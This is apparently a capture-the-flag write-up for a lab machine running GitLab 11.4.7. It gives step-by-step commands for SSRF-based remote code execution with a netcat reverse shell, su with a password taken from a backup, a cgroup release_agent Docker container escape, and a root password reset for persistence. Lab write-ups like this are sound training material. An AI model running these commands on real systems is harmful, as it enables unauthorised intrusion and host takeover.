Recon
- Port scan:
$ nmap -p- 10.10.10.220 > ports.nmap
22, 5080 ports are open
- Targeted scan:
$ nmap -sC -sV -p 22,5080 10.10.10.220 > scan.nmap
SSH, nginx HTTP
Enumeration
- Port 5080 is running GitLab Community Edition 11.4.7, out-of-date for 2 years.
- Register and login, user can import repositories from
http://
orgit://
.
Exploitation
- CVE-2018-19571 (SSRF), CVE-2018-19585 (CRLF) vulnerabilities in GitLab 11.4.7 leading to remote code execution (RCE).
- SSRF, or server-side request forgery occurs when the domain blacklist gets bypassed using defined IPv6:
https://[0:0:0:0:0:ffff:127.0.0.1]
- Using PoC written by Shad0wQu35t on GitHub, we can get a shell as git:
$ python3 ./gitlab_rce.py http://10.10.10.220:5080 10.10.14.53
$ nc -lvnp 42069
- Get user flag!
Privilege Escalation
- Nothing useful in LinPEAS, moving on.
- Found
/root_pass
file:$ cat /root_pass
YG65407Bjqvv9A0a8Tm_7w
- Found SMTP password in GitLab backup:
$ cat /opt/backup/gitlab.rb | grep pass
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
- Try to su into root:
$ su
su: must be run from a terminal
- Cannot run su/sudo in Docker container, spawn pty shell:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
$ python3 /tmp/shell.py
- Now in the pseudo shell, run su with
stmp_password
:$ su
wW59U!ZKMbG9+*#h
- Gained root access... but we're still in the Docker container. We can "escape" by abusing the
notify_on_release
feature in cgroups v1 to execute our payload as root. When the last task in a cgroup exits, therelease_agent
file is executed.◽1.4 What does notify_on_release do? If the notify_on_release flag is enabled (1) in a cgroup, then whenever the last task in the cgroup leaves (exits or attaches to some other cgroup) and the last child cgroup of that cgroup is removed, then the kernel runs the command specified by the contents of the “release_agent” file in that hierarchy’s root directory, supplying the pathname (relative to the mount point of the cgroup file system) of the abandoned cgroup. This enables automatic removal of abandoned cgroups. The default value of notify_on_release in the root cgroup at system boot is disabled (0). The default value of other cgroups at creation is the current value of their parents’ notify_on_release settings. The default value of a cgroup hierarchy’s release_agent path is empty.
- Create cgroup directory, mount RDMA cgroup controller, and create child cgroup
x
:$ mkdir ./cgrp && mount -t cgroup -o rdma cgroup ./cgrp && mkdir ./cgrp/x
- Enable cgroup notifications on release of
x
cgroup by writing1
to itsnotify_on_release
file:$ echo 1 > ./cgrp/x/notify_on_release
- Grab container's path on the host from
/etc/mtab
as$host_path
:$ host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
- Set RDMA cgroup release agent to execute a
/cmd
script in the container:$ echo "$host_path/cmd" > ./cgrp/release_agent
- Specify
/cmd
payload to print the root flag to/output
in the container:$ echo ‘#!/bin/sh’ > /cmd
$ echo "cat /root/root.txt > $host_path/output" >> /cmd
- Set file permissions:
$ chmod a+x /cmd
- Execute by spawning a process that immediately ends to trigger the cgroup release agent:
$ sh -c “echo \$\$ > ./cgrp/x/cgroup.procs”
- Get root flag!
Persistence
- Specify second
/cmd
payload to change the root password:$ echo '#!/bin/sh' > /cmd
$ echo "echo 'root:areyouready' | chpasswd" >> /cmd
$ chmod a+x /cmd
$ sh -c “echo \$\$ > ./cgrp/x/cgroup.procs”
- SSH into root:
$ ssh [email protected]
Resources
- https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
- https://www.youtube.com/watch?v=LrLJuyAdoAg
- https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py
- https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1
- https://book.hacktricks.xyz/linux-unix/privilege-escalation/escaping-from-a-docker-container#sys_admin-capability-and-apparmor-disabled
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html